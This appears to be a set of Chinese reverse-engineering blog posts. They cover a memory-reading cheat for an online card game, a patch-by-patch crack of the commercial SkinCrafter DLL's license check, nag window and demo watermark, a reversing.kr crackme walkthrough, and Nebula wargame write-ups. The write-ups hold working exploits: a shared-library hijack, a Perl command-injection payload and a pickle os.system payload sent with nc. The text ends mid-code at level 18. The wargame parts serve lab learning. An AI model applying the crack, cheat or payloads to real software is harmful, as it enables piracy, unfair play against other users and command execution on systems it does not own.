Day2 实现逻辑

工作量最大最烧脑的Day1过去了，Day2就轻松了很多。写代码之前当然是要确定语言啦，一般来说写外挂都用C++，毕竟要直接和Windows的API打交道。但是为了快（lan），我决定用Python……

获取内存数据

首先找到游戏的进程，通过进程的可执行文件名skrpg.exe找到相应的进程pid（当然也可以通过窗口标题借助FindWindow来拿pid）。
根据pid执行OpenProcess。
由于地址偏移是根据GameLogic.dll这个模块确定的，因此需要读取该模块的基址：利用EnumProcessModulesEx得到所有已经加载的模块的句柄（注意权限为LIST_MODULES_ALL）
遍历模块句柄，使用GetModuleFileNameEx来得到模块名，找到GameLogic.dll，通过GetModuleInformation得到模块信息，lpBaseOfDll即为模块载入的基址。
通过ReadProcessMemory获取指定位置和长度的数据。

很遗憾没有一个完整的库实现了这些API的Python封装，Pywin32也只实现了部分。所以我使用psutil库获取pid，其他都是通过ctype把Python数据转换成C的数据类型后直接调用系统API实现的（此处可以参考WinAppDbg的代码，很可惜它使用Python2.7实现，我用的是3.4，因此不能直接用这个库，需要提取和改写）。

主逻辑

当所有玩家剩余牌的数量为27时游戏开始，所有数量为0的时候游戏结束（测试发现当游戏结束的时候所有玩家牌会被瞬间置0）。玩家每次出牌数量=上次手里剩下牌的数量-目前手里牌的数量，当出牌数量不为0的时候（0是不出），则利用这个长度和最大牌的位置读取这组牌。

Day3 界面实现

既然上了Python的船，图形界面就顺理成章的PyQt了，反正Qt我还是比较熟的，PyQt用法差不了多少。这里要鄙视下PyQt的文档，大部分都依赖于Qt官网，你让只会Python不会C++的怎么搞？

程序设计为双线程，一个图形线程，一个工作线程，线程间通信通过Qt特有的Signal/Slot实现。

由于每个人对于记牌器最终功能设计的不一致，所以在写图形界面的时候也会有很大的差异。我目前粗略的实现了显示玩家剩余牌数、已经出的牌以及除了自己的牌以外还剩下的牌。

这边需要特别说明一下一个不可避免的问题：玩家的座位。当玩家入座后，无论他在游戏大厅中是哪个座位，他的位置一定是显示在最下面的。我上面一直强调无论是玩家剩余的牌数还是玩家打出去的牌，都是根据大厅中的绝对位置来确定的。所以这里涉及到计算相对座位的问题，公式其实很简单：相对座位 = (座位-玩家自己的座位) MOD 4。

最后上一张成品图：

DayN 完善和后话

找八阿哥（bug）当然是不可缺少的重要一步，不然怎么做第八个男人（Debug Man）呢？

QQ新双扣角色版的内存数据抓取总的来说没有碰到特别大的问题，主要还是因为数据没有加密，因此可以靠猜想和CE的辅助最终找到数据。GameLogic.dll也没有加壳，所以直接就能在IDA中看反汇编，相对也降低了破解的门槛。联网游戏的破解难度就是实时性，因此很难用OD之类的工具来下断点跟踪，所以推断的能力和阅读静态反汇编的能力需要加强。

SkinCrafter破解笔记

2014-11-09T23:46:00-08:00

开篇废话

最近的一个Win下的小项目，图形界面需求简单，就直接上MFC。完成后某人觉得界面不够和谐，于是得折腾下界面。貌似目前VC++界的UI主流是MS自家DirectUI思想下的一些UI库，可惜本人的哲学“懒”字当头，再学一套UI的用法实在是要了亲命，直接放弃。记得本科期间用过一个Skin++的皮肤库，加载后可以直接换肤，可惜那玩意皮肤太少、没有皮肤编辑器而且貌似已经停止维护，因此作罢。后google到同为皮肤库的SkinCrafter，并下了3.4.4的破解版，可惜在VS2010下整合后MessageBox的按钮底色在Win7下无法匹配皮肤设置（官网查阅后发现是bug，新版已解决），遂换到3.8.0。该版本的VS2012有相关破解版，但VS2010没有，于是自己上手破解（正所谓学会破解，用D版软件都有底气了），花了差不多快2小时最终成功，并记录成本文。

Dll版工作流程

对于VC/MFC程序，SkinCrafter有Dll/ActiveX两个版本，我个人喜欢使用Dll版（两个版本的破解方法其实是一样的）。下面介绍Dll版本官方的使用方法：

首先需要引入CSCSkin.h和CSCSkin.cpp文件，并将dll及皮肤文件.skf放在目录下。
实例化CSCSkin对象m_skin，并在App的InitInstance()中执行Init()、LoadSkinFromFile()及ApplySkin()三个函数。

对比ActiveX版本，可以发现少执行好几个函数，其实这些函数在Init()方法中都完成了，所以真正的工作流程是：

定义了Dll导出表中所有的函数指针。
通过LoadLibrary()加载Dll，并执行InitLicenKeys()和InitDecoration()。
LoadSkinFromFile()加载皮肤。
ApplySkin()应用皮肤。

InitLicenKeys函数破解

这个函数用于写入注册信息，对于DEMO版，该函数的4个参数是定死的。其实不破解这个函数也无所谓，反正写在程序里面，但是真要破解也很简单。

由于是简单的固定字符串匹配，因此可以直接替换Dll中的字符串。当然还可以采用爆破的方法，这样无论输入什么都行。

查找四个参数中任意一个字符串，我这儿用DEMOSKINCRAFTERLICENCE（比较有代表性），定位到程序。发现有两个处strcmp()比较字符串并作出比较和跳转，因此直接nop掉跳转即可。

...
10005A49  |> \85C0          test eax,eax
10005A4B  |.  75 48         jnz XSkinCraf.10005A95                   ;  第一次跳转判断
10005A4D  |.  8B45 14       mov eax,[arg.4]
10005A50  |.  B9 8C420610   mov ecx,SkinCraf.1006428C                ;  DEMOSKINCRAFTERLICENCE
...
10005A7A  |>  85C0          test eax,eax
10005A7C  |.  75 17         jnz XSkinCraf.10005A95                   ;  第二次跳转判断
10005A7E  |.  5E            pop esi
10005A7F  |.  B8 01000000   mov eax,0x1
10005A84  |.  5B            pop ebx
10005A85  |.  8B4D FC       mov ecx,[local.1]
10005A88  |.  33CD          xor ecx,ebp
10005A8A  |.  E8 E91E0500   call SkinCraf.10057978
10005A8F  |.  8BE5          mov esp,ebp
10005A91  |.  5D            pop ebp
10005A92  |.  C2 1000       retn 0x10
10005A95  |>  6A 00         push 0x0                                 ; /Style = MB_OK|MB_APPLMODAL
10005A97  |.  68 80420610   push SkinCraf.10064280                   ; |SkinCrafter
10005A9C  |.  68 D8410610   push SkinCraf.100641D8                   ; |You are using DEMO version of SkinCrafter. InitLicenKeys function parameters should be: SKINCRAFTER, SKINCRAFTER.COM, support@skincrafter.com, DEMOSKINCRAFTERLICENCE
10005AA1  |.  6A 00         push 0x0                                 ; |hOwner = NULL
10005AA3  |.  FF15 4C350610 call dword ptr ds:[<&USER32.MessageBoxA>>; \MessageBoxA
...

去除弹出框

最明显的莫过于这个弹出框，程序启动后就会出现。该弹出框无边框可拖动，而且强制置顶（TOP_MOST），因此想到SetWindowPos()及SetWindowLong()两个函数，仔细查找后均无果。后来又查找了CreateWindow()、CreateRectRgn()及CreateRectRgnIndirect()也没有很好的下手位置。就在找函数这条思路没有突破口的时候，看到弹出窗口上有一条可以点击的网址，因此直接查字符串找这个网址，然后跳转到程序处。

找到程序处之后翻看上下文，无非就在load一些资源，突然看到ShowWindow()函数。

10002F40  /$  55            push ebp
10002F41  |.  8BEC          mov ebp,esp
...
10002F87  |.  68 F3000000   push 0xF3
10002F8C  |.  6A 02         push 0x2
10002F8E  |.  68 F3000000   push 0xF3
10002F93  |.  E8 D6410500   call <jmp.&mfc100.#AfxFindResourceHandle_1900>
10002F98  |.  50            push eax                                             ; |hInst
10002F99  |.  FF15 70350610 call dword ptr ds:[<&USER32.LoadBitmapW>]            ; \LoadBitmapW
10002F9F  |.  50            push eax
10002FA0  |.  B9 CC450710   mov ecx,SkinCraf.100745CC
10002FA5  |.  E8 BE410500   call <jmp.&mfc100.#CGdiObject::Attach_2184>
10002FAA  |.  A1 D0450710   mov eax,dword ptr ds:[0x100745D0]
10002FAF  |.  A3 D85F0710   mov dword ptr ds:[0x10075FD8],eax
10002FB4  |.  391D DC5F0710 cmp dword ptr ds:[0x10075FDC],ebx
10002FBA  |.  0F85 7C020000 jnz SkinCraf.1000323C
...
10003143  |.  A1 E05F0710   mov eax,dword ptr ds:[0x10075FE0]
10003148  |.  6A 01         push 0x1
1000314A  |.  51            push ecx
1000314B  |.  8BCC          mov ecx,esp
1000314D  |.  8965 DC       mov [local.9],esp
10003150  |.  68 843D0610   push SkinCraf.10063D84                               ;  http://www.skincrafter.com/order.html
10003155  |.  C780 84000000>mov dword ptr ds:[eax+0x84],0x497D
1000315F  |.  FF15 A4390610 call dword ptr ds:[<&mfc100.#ATL::CStringT<char,StrT>;  mfc100.#ATL::CStringT<char,StrTraitMFC_DLL<char,ATL::ChTraitsCRT<char> > >::CStringT<char,StrTraitMFC_DLL<char,ATL::ChTraitsCRT<char> > >_310
10003165  |.  8B0D E05F0710 mov ecx,dword ptr ds:[0x10075FE0]
...
1000323C  |>  8B0D DC5F0710 mov ecx,dword ptr ds:[0x10075FDC]
10003242  |.  6A 05         push 0x5
10003244  |.  E8 35410500   call <jmp.&mfc100.#CWnd::ShowWindow_12962>
...

可以看到，函数执行完成之后会ShowWindow()，而当参数为5的时候，就是SW_SHOW，因此可以将push的参数设置为0(SW_HIDE)或者直接把整合函数nop掉。

2014-12-03更新：

今天在项目上调试的时候发现又出现弹窗，使用相同的dll在皮肤测试程序上则没有出现。于是直接调试项目程序，发现还有几处ShowWindow函数。

10012B40  /$  55            push ebp
10012B41  |.  8BEC          mov ebp,esp
10012B43  |.  833D D45F0710>cmp dword ptr ds:[0x10075FD4],0x0
10012B4A  |.  56            push esi
10012B4B  |.  8BF1          mov esi,ecx
10012B4D  |.  75 42         jnz XSkinCraf.10012B91
10012B4F  |.  8B0D DC5F0710 mov ecx,dword ptr ds:[0x10075FDC]
10012B55  |.  6A 05         push 0x5
10012B57  |.  E8 22480400   call <jmp.&mfc100.#CWnd::ShowWindow_12962>
10012B5C  |.  8B0D DC5F0710 mov ecx,dword ptr ds:[0x10075FDC]
10012B62  |.  6A 00         push 0x0
10012B64  |.  6A 08         push 0x8
10012B66  |.  6A 00         push 0x0
10012B68  |.  E8 8B490400   call <jmp.&mfc100.#CWnd::ModifyStyle_7889>
10012B6D  |.  8B0D E05F0710 mov ecx,dword ptr ds:[0x10075FE0]
10012B73  |.  6A 05         push 0x5
10012B75  |.  E8 04480400   call <jmp.&mfc100.#CWnd::ShowWindow_12962>
10012B7A  |.  8B0D E45F0710 mov ecx,dword ptr ds:[0x10075FE4]
10012B80  |.  6A 05         push 0x5
10012B82  |.  E8 F7470400   call <jmp.&mfc100.#CWnd::ShowWindow_12962>
10012B87  |.  C705 D45F0710>mov dword ptr ds:[0x10075FD4],0x1
10012B91  |>  8B46 18       mov eax,dword ptr ds:[esi+0x18]
10012B94  |.  85C0          test eax,eax
10012B96  |.  74 74         je XSkinCraf.10012C0C
...

可直接在OD的Name表中找出MFC的CWnd::ShowWindow函数调用处全部下断，此处连续出现3处ShowWindow()，将第一次出现处的push 0x5改成push 0x0即可。

去除标题栏DEMO字样

本以为这步会很简单，很可惜，低估了作者的智商。直接找字符串没看到SkinCrafter Demo字样，因此怀疑很可能字符串是被加密的了。OD调试Dll会加载LoadDll.exe这个程序，并在Dll加载后允许通过接口执行Dll的导出函数，对于一般作为函数库的Dll这样调试当然没问题，每个函数都是独立的，但是对于这种函数之间有数据依赖的Dll来说，我必须先调用几个依赖的函数，这样就过于麻烦了（主要懒得输那么长的参数，还要小端码，而且每次加载都要输入……）。这里就用到一个技巧，自己写一个调用dll的exe，直接调试exe，并进入Dll的领空找需要的东西。

在OD的调试选项中，找到事件(Event)选项卡，把“中断于新模块”这项勾上，之后加载exe程序。每当exe加载一个dll的时候，就会被断下，F9继续执行，直到目标出现。当然SkinCrafterDll这个Dll是在程序中通过LoadLibrary()加载的，因此先要把程序跑起来。

断下后进入该Dll领空，并查看所有函数符号。考虑到和绘图有关，并经过几次实验，最后定位在GdiPlus库中的GdipDrawString()函数上，直接下断函数。但是查找函数引用的时候却没有结果，这是因为Dll刚开始并没有填充IAT，所以需要再继续F9，直到IAT初始化完毕。再查找引用就可以找到函数调用处了。

...
02E01511  |.  53            push ebx                                             ; /hIcon
02E01512  |.  FF15 0034E102 call dword ptr ds:[<&USER32.DestroyIcon>]            ; \DestroyIcon
02E01518  |>  8B9D 54FFFFFF mov ebx,[local.43]
02E0151E  |>  A1 406CE102   mov eax,dword ptr ds:[0x2E16C40]
02E01523  |.  8B15 3C6CE102 mov edx,dword ptr ds:[0x2E16C3C]
02E01529  |.  8B0D 446CE102 mov ecx,dword ptr ds:[0x2E16C44]
02E0152F  |.  8945 E0       mov [local.8],eax
02E01532  |.  66:A1 4C6CE10>mov ax,word ptr ds:[0x2E16C4C]
02E01538  |.  8955 DC       mov [local.9],edx
02E0153B  |.  8B15 486CE102 mov edx,dword ptr ds:[0x2E16C48]
02E01541  |.  66:8945 EC    mov word ptr ss:[ebp-0x14],ax
02E01545  |.  8D45 DC       lea eax,[local.9]
02E01548  |.  894D E4       mov [local.7],ecx
02E0154B  |.  8955 E8       mov [local.6],edx
02E0154E  |.  33C9          xor ecx,ecx
02E01550  |.  8D70 01       lea esi,dword ptr ds:[eax+0x1]
...
02E017E5  |.  8B8D 64FFFFFF mov ecx,[local.39]
02E017EB  |.  56            push esi
02E017EC  |.  51            push ecx
02E017ED  |.  8B8D 48FFFFFF mov ecx,[local.46]
02E017F3  |.  8D95 F8FEFFFF lea edx,[local.66]
02E017F9  |.  52            push edx
02E017FA  |.  8B95 6CFFFFFF mov edx,[local.37]
02E01800  |.  51            push ecx
02E01801  |.  6A FF         push -0x1
02E01803  |.  50            push eax
02E01804  |.  52            push edx
02E01805  |.  E8 D26D0000   call <jmp.&gdiplus.GdipDrawString>
02E0180A  |.  8B85 64FFFFFF mov eax,[local.39]
02E01810  |.  50            push eax
02E01811  |.  E8 846D0000   call <jmp.&gdiplus.GdipDeleteStringFormat>
02E01816  |.  56            push esi
02E01817  |.  E8 A66C0000   call <jmp.&gdiplus.GdipDeleteBrush>
02E0181C  |.  8B8D 48FFFFFF mov ecx,[local.46]
02E01822  |.  51            push ecx
02E01823  |.  E8 906D0000   call <jmp.&gdiplus.GdipDeleteFont>
02E01828  |.  8B95 6CFFFFFF mov edx,[local.37]
02E0182E  |.  52            push edx
02E0182F  |.  C645 FC 01    mov byte ptr ss:[ebp-0x4],0x1
02E01833  |.  E8 906C0000   call <jmp.&gdiplus.GdipDeleteGraphics>
...

经过跟踪，可以发现字符串在DestroyIcon()执行之后被装入，在内存中显示为：

02E16C38  80 0F E0 02 54 6C 6E 69 44 75 66 61 73 62 75 27  €?TlniDufasbu'
02E16C48  43 62 6A 68 27 00 00 00 E4 D9 E1 02 A0 2B E0 02  Cbjh'...滟???

因此字符串为TlniDufasbu'Cbjh'，这个字符串经过后面的算法转换成了SkinCrafter Demo，因此只要直接干掉字符串就可以，或者nop掉GdipDrawString()。我采用删掉字符串的方法，用16进制编辑器打开dll找到这个字符串并填0。

后记

从我使用的情况来看暂时没有出现其他问题，如果有破解不完全或造成错误的地方，我会在后续做出完善。另外，此次调试过程中全程在IDA中同步参考，IDA的图形视图能很好的看出程序的执行流程，当然IDA还有万恶的F5大杀器 :P

reversing.kr ImagePrc Walkthrough

2014-09-23T18:05:00-07:00

试玩

看起来很有意思的一道题目。拿到后打开一个窗口，可以用鼠标画一些东西，之后点Check，弹出“Wrong”。直觉认为应该是要画出一个图像，正确的话会得到flag。可惜这个图能画正确的概率真的很低。

逻辑分析

OD打开之后下MessageBoxA的API断点或者WM_LBUTTONUP的消息断点，点击Check后断下并跟踪到核心逻辑代码的位置。

004012D6   > \83BC24 940000>cmp dword ptr ss:[esp+0x94],0x64         ;  Case 111 (WM_COMMAND) of switch 0040113A
004012DE   .  0F85 01020000 jnz ImagePrc.004014E5
...
004013CD   >  8B8424 900000>mov eax,dword ptr ss:[esp+0x90]
004013D4   .  6A 30         push 0x30                                ; /Style = MB_OK|MB_ICONEXCLAMATION|MB_APPLMODAL
004013D6   .  68 34604000   push ImagePrc.00406034                   ; |ImagePrc
004013DB   .  68 40604000   push ImagePrc.00406040                   ; |Wrong
004013E0   .  50            push eax                                 ; |hOwner
004013E1   .  FF15 F8504000 call dword ptr ds:[<&USER32.MessageBoxA>>; \MessageBoxA
004013E7   .  56            push esi
004013E8   .  E8 13010000   call ImagePrc.00401500
004013ED   .  83C4 04       add esp,0x4
004013F0   .  33C0          xor eax,eax
004013F2   .  5B            pop ebx
004013F3   .  5F            pop edi
004013F4   .  5E            pop esi
004013F5   .  81C4 80000000 add esp,0x80
004013FB   .  C2 1000       retn 0x10

在按钮消息路由到弹出消息框之间就是我们要找的核心逻辑。下面分解一下逻辑：

...
004012E4   .  A1 F4844000   mov eax,dword ptr ds:[0x4084F4]
004012E9   .  8D5424 08     lea edx,dword ptr ss:[esp+0x8]
004012ED   .  53            push ebx
004012EE   .  52            push edx                                 ; /Buffer = 0018FB04
004012EF   .  6A 18         push 0x18                                ; |BufSize = 18 (24.)
004012F1   .  50            push eax                                 ; |hObject => B9051E9B
004012F2   .  FF15 1C504000 call dword ptr ds:[<&GDI32.GetObjectA>]  ; \GetObjectA
004012F8   .  B9 0A000000   mov ecx,0xA
004012FD   .  33C0          xor eax,eax
004012FF   .  8D7C24 24     lea edi,dword ptr ss:[esp+0x24]
00401303   .  8D5424 24     lea edx,dword ptr ss:[esp+0x24]
00401307   .  F3:AB         rep stos dword ptr es:[edi]
00401309   .  8B4424 14     mov eax,dword ptr ss:[esp+0x14]
0040130D   .  8B4C24 10     mov ecx,dword ptr ss:[esp+0x10]
00401311   .  8B3D 20504000 mov edi,dword ptr ds:[<&GDI32.GetDIBits>>;  GDI32.GetDIBits
00401317   .  6A 00         push 0x0                                 ; /Usage = DIB_RGB_COLORS
00401319   .  52            push edx                                 ; |pBitmapinfo
0040131A   .  6A 00         push 0x0                                 ; |Buffer = NULL
0040131C   .  894424 38     mov dword ptr ss:[esp+0x38],eax          ; |
00401320   .  50            push eax                                 ; |nLines
00401321   .  A1 F4844000   mov eax,dword ptr ds:[0x4084F4]          ; |
00401326   .  894C24 38     mov dword ptr ss:[esp+0x38],ecx          ; |
0040132A   .  8B0D DC844000 mov ecx,dword ptr ds:[0x4084DC]          ; |
00401330   .  6A 00         push 0x0                                 ; |StartLine = 0
00401332   .  50            push eax                                 ; |hBitmap => B9051E9B
00401333   .  51            push ecx                                 ; |hDC => 4C01191B
00401334   .  C74424 40 280>mov dword ptr ss:[esp+0x40],0x28         ; |
0040133C   .  66:C74424 4C >mov word ptr ss:[esp+0x4C],0x1           ; |
00401343   .  66:C74424 4E >mov word ptr ss:[esp+0x4E],0x18          ; |
0040134A   .  C74424 50 000>mov dword ptr ss:[esp+0x50],0x0          ; |
00401352   .  FFD7          call edi                                 ; \GetDIBits
...

程序首先获取绘制的对象，并提取绘制对象的像素内容。在GetDIBits()的时候栈情况如下：

...
0018FADC   4C01191B  |hDC = 4C01191B
0018FAE0   B9051E9B  |hBitmap = B9051E9B
0018FAE4   00000000  |StartLine = 0
0018FAE8   00000096  |nLines = 96 (150.)
0018FAEC   00000000  |Buffer = NULL
0018FAF0   0018FB1C  |pBitmapinfo = 0018FB1C
0018FAF4   00000000  \Usage = DIB_RGB_COLORS
...

可以看到图像为RGB图像，第一个扫描线是150（其实就是150的高度）。查看地址0018FB1C处数据的LPBITMAPINFO结构体指针的内容：

...
0018FB1C  28 00 00 00 C8 00 00 00 96 00 00 00 01 00 18 00  (.È..
...

根据BITMAPINFO结构体格式，发现bitmap的长度是0xC8，高度0x96，即200x150大小。

接着往下看：

...
00401381   .  6A 18         push 0x18                                ; /ResourceType = 18
00401383   .  6A 65         push 0x65                                ; |ResourceName = 65
00401385   .  6A 00         push 0x0                                 ; |hModule = NULL
00401387   .  FF15 7C504000 call dword ptr ds:[<&KERNEL32.FindResour>; \FindResourceA
0040138D   .  50            push eax                                 ; /hResource
0040138E   .  6A 00         push 0x0                                 ; |hModule = NULL
00401390   .  FF15 80504000 call dword ptr ds:[<&KERNEL32.LoadResour>; \LoadResource
00401396   .  50            push eax                                 ; /hResource
00401397   .  FF15 88504000 call dword ptr ds:[<&KERNEL32.LockResour>; \LockResource
...

之后程序从自身获取资源编号为0x65、类型是0x18的资源并加载。这里提一句，FindResource()返回的eax指向的数据区构造如下：

0047E048  60 E0 07 00 90 5F 01 00 00 00 00 00 00 00 00 00  徐....
0047E058  00 00 00 00 00 00 00 00 FF FF FF FF FF FF FF FF  ........
0047E068  FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  ........
...

可以看到第0-4个字节0x0007E060是资源真正的起始地址的偏移，5-8个字节0x00105F90是资源大小，0047E060才是资源数据内容的起始。这就是PE文件对于资源的布局（当然不知道也能解题）。

LoadResource()并Lock之后，进入如下逻辑：

...
0040139D   .  33FF          xor edi,edi
0040139F   .  8BCE          mov ecx,esi
004013A1   .  2BC6          sub eax,esi
004013A3   >  8A11          mov dl,byte ptr ds:[ecx]
004013A5   .  8A1C08        mov bl,byte ptr ds:[eax+ecx]
004013A8   .  3AD3          cmp dl,bl
004013AA      75 21         jnz XImagePrc.004013CD
004013AC   .  47            inc edi
004013AD   .  41            inc ecx
004013AE      81FF 905F0100 cmp edi,0x15F90
004013B4   .^ 7C ED         jl XImagePrc.004013A3
004013B6   .  56            push esi
004013B7   .  E8 44010000   call ImagePrc.00401500
004013BC   .  83C4 04       add esp,0x4
004013BF   .  33C0          xor eax,eax
004013C1   .  5B            pop ebx
004013C2   .  5F            pop edi
004013C3   .  5E            pop esi
004013C4   .  81C4 80000000 add esp,0x80
004013CA > .  C2 1000       retn 0x10
...

这段逻辑很简单，一个循环，一共循环0x15F90次（刚好是上面分析的资源的大小）。之后把绘制的图像数据和资源图像数据分别放入dl和bl进行每个byte的逐一比较。一开始我以为只要比较结果正确就能拿到flag，所以直接修改比较次数为0，可惜程序正常执行，却没有flag的踪迹。所以思路转为从资源入手。

资源操作

打开exeScope之类的资源提取工具，提取编号0x65的资源，发现大小是0X15F80，比我们需要的数据小0x10个字节。于是重新跟程序到LoadResource()执行后，eax为47e060，提取47e060-493ff0一共0X15F90字节所有数据到文件。发现其实最后0x10个字节直接被填充为全0。

二进制文件提取出来后，需要让它作为图像显示出来。文件大小为0X15F90，十进制是90000，相当于200x150x3，也就是200x150的RGB三通道图像。我这边直接利用Python的Pillow图像处理库做还原（Python3的PIL为Pillow）：

from PIL import Image

width = 200
height = 150

fp = open('rgb.mem', 'rb')
data = fp.read()
im = Image.frombytes('RGB', (width, height), data)
im = im.transpose(Image.FLIP_TOP_BOTTOM)
im.show()
im.save('result.bmp')

提取后发现图片是上下颠倒的，不知道是由于作者故意做成颠倒的还是WinAPI中GetDIBits是倒着读的。所以使用transpose()做翻转。之后可以看到作者绘制的内容为GOT三个字符，即为flag。

Exploit Exercises Nebula level15-19 Writeup

2014-09-17T16:02:00-07:00

Nebula level15

strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary.

You may wish to review how to "compile a shared library in linux" and how the libraries are loaded and processed by reviewing the dlopen manpage in depth.

Clean up after yourself :)

利用strace查看flag15，看是否能发现异常。

直接strace一下flag15：

level15@nebula:/home/flag15$ strace ./flag15
...
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7769000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbf977ab4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbf977ab4) = -1 ENOENT (No such file or directory)
...

可以看见程序大量调用了libc.so.6，但是libc.so.6本身却不存在。

使用readelf命令发现flag15对于libc.so.6存在依赖：

level15@nebula:/home/flag15$ readelf -d ./flag15

Dynamic section at offset 0xf20 contains 21 entries:
  Tag        Type                         Name/Value
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]
...

因此我们需要写libc.so.6，并放到/var/tmp/flag15路径下，让.so的函数直接去getflag。

下面就是从哪个函数下手的问题：最方便的莫过于那些自动执行的函数，比如共享库本身加载时候需要执行的函数，Google后找到这几个：

__attribute__((constructor)) void init(void) { ... }
__attribute__((destructor))  void fini(void) { ... }

这是GCC特有的函数，当然也有一个相对通用的解决方案，使用内核的启动函数：

int __libc_start_main(
    int (*main) (int, char * *, char * *),
    int argc,
    char **ubp_av,
    void (*init) (void),
    void (*fini) (void),
    void (*rtld_fini) (void),
    void(* stack_end)
)

我这里用这个参数长的BT的启动函数来写共享库（system()实则会fork()一个新进程并exec()替换进程执行）：

#include <unistd.h>
int __libc_start_main(
    int (*main) (int, char * *, char * *), int argc,
    char **ubp_av, void (*init) (void), void (*fini) (void),
    void (*rtld_fini) (void), void(* stack_end))
{
    execl("/bin/getflag", (char *)NULL, (char *)NULL);
}

gcc -fPIC -shared -o /var/tmp/flag15/libc.so.6 libc.c

可是，执行flag15后提示:

./flag15: /var/tmp/flag15/libc.so.6: no version information available (required by ./flag15)
./flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
./flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
./flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference

两个错误，一个找不到符号，一个缺少GLIBC_2.1.3版本定义。Google后得到静态链接配合version script的方案，创建一个version文件：

GLIBC_2.0 {
};

之后编译：

gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic -o /var/tmp/flag15/libc.so.6 libc.c

如此，即可成功运行getflag。

Nebula level16

There is a perl script running on port 1616.

有个perl脚本在1616端口运行。

#!/usr/bin/env perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub login {
  $username = $_[0];
  $password = $_[1];

  $username =~ tr/a-z/A-Z/;  # conver to uppercase
  $username =~ s/\s.*//;    # strip everything after a space

  @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
  foreach $line (@output) {
    ($usr, $pw) = split(/:/, $line);


    if($pw =~ $password) { 
      return 1;
    }
  }

  return 0;
}

sub htmlz {
  print("<html><head><title>Login resuls</title></head><body>");
  if($_[0] == 1) {
    print("Your login was accepted<br/>");
  } else {
    print("Your login failed<br/>");
  }  
  print("Would you like a cookie?<br/><br/></body></html>\n");
}

htmlz(login(param("username"), param("password")));

首先来看代码逻辑，get两个参数username和password，将username全部转换成大写并去掉空格，之后执行egrep命令，并匹配password。egrep是shell命令，这里就是这道题的突破口。

但是，Linux是区分大小写的系统，所以需要想办法构造名称为大写的脚本并完成漏洞的利用。不过，Linux的根目录没有写入权限，一级目录也没有大写名字的目录，该如何处理？这里用到了通配符技巧。

level16@nebula:~$ touch /tmp/TEST16
level16@nebula:~$ ls /*/TEST16
/tmp/TEST16

于是构造一个脚本/tmp/EXP16，并给予x权限：

#! /bin/bash
/bin/getflag > /tmp/flag16.txt

之后构造参数：

username="</DEV/NULL;/*/EXP16;#

其中第一个"用于闭合，</DEV/NULL是给egrep的输入参数，之后是漏洞利用的命令，最后的#用于注释掉后面的语句。

最后将构造好的参数编码并执行：

wget http://127.0.0.1:1616/index.cgi?username=%22%3C%2FDEV%2FNULL%3B%2F%2A%2FEXP%3B%23 -O /dev/null

从/tmp/flag16.txt中可以发现成功getflag。

Nebula level17

There is a python script listening on port 10007 that contains a vulnerability.

在监听10007端口的python脚本有漏洞。

#!/usr/bin/python

import os
import pickle
import time
import socket
import signal

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

def server(skt):
  line = skt.recv(1024)

  obj = pickle.loads(line)

  for i in obj:
    clnt.send("why did you send me " + i + "?\n")

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)

while True:
  clnt, addr = skt.accept()

  if(os.fork() == 0):
    clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
    server(clnt)
    exit(1)

Python写的一个socket服务器，服务器一运行就对接收到的数据用pickle进行反序列化。序列化/反序列化就意味对象可以被存储，因此也有可能被运行。网上可以搜索一下Pickle Exploit相关信息，可谓一抓一大把。

这题思路就是从pickle下手，查询了Python Manual后发现，dumps()/loads()函数可以序列化转换对象和byte。

现在有了存储和恢复对象的方法，下一步就是如何让对象内的方法运行。php有魔数方法，python应该也有。继续看手册中pickle这章，发现在恢复对象的时候__init__()和__new__()是不会被调用的，但是有__reduce__()，不过需要返回tuple或者string。

于是构造代码：

import pickle
import os

class Exp17(object):
    def __reduce__(self):
        return (os.system, ('/bin/getflag > /tmp/flag17.txt',))

obj = pickle.dumps(Exp17())
# pickle.loads(obj)
print obj

上面代码中注释掉的那句是我用来测试的代码，测试正常后就可以开始漏洞利用了：

python exp17.py | nc 127.0.0.1 10007

运行代码，让nc建立连接并回车，之后Ctrl+C停止运行，去/tmp/flag17.txt看成果吧。

Nebula level18

Analyse the C program, and look for vulnerabilities in the program. There is an easy way to solve this level, an intermediate way to solve it, and a more difficult/unreliable way to solve it.

分析C程序漏洞，这道题有简单、中等、困难且不可靠3种方式去解决。

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>

struct {
  FILE *debugfile;
  int verbose;
  int loggedin;
} globals;

#define dprintf(...) if(globals.debugfile) \
  fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
  fprintf(globals.debugfile, __VA_ARGS__)

#define PWFILE "/home/flag18/password"

void login(char *pw)
{
  FILE *fp;

  fp = fopen(PWFILE, "r");
  if(fp) {
    char file[64];

    if(fgets(file, sizeof(file) - 1, fp) == NULL) {
      dprintf("Unable to read password file %s\n", PWFILE);
      return;
    }
                fclose(fp);
    if(strcmp(pw, file) != 0) return;    
  }
  dprintf("logged in successfully (with%s password file)\n", 
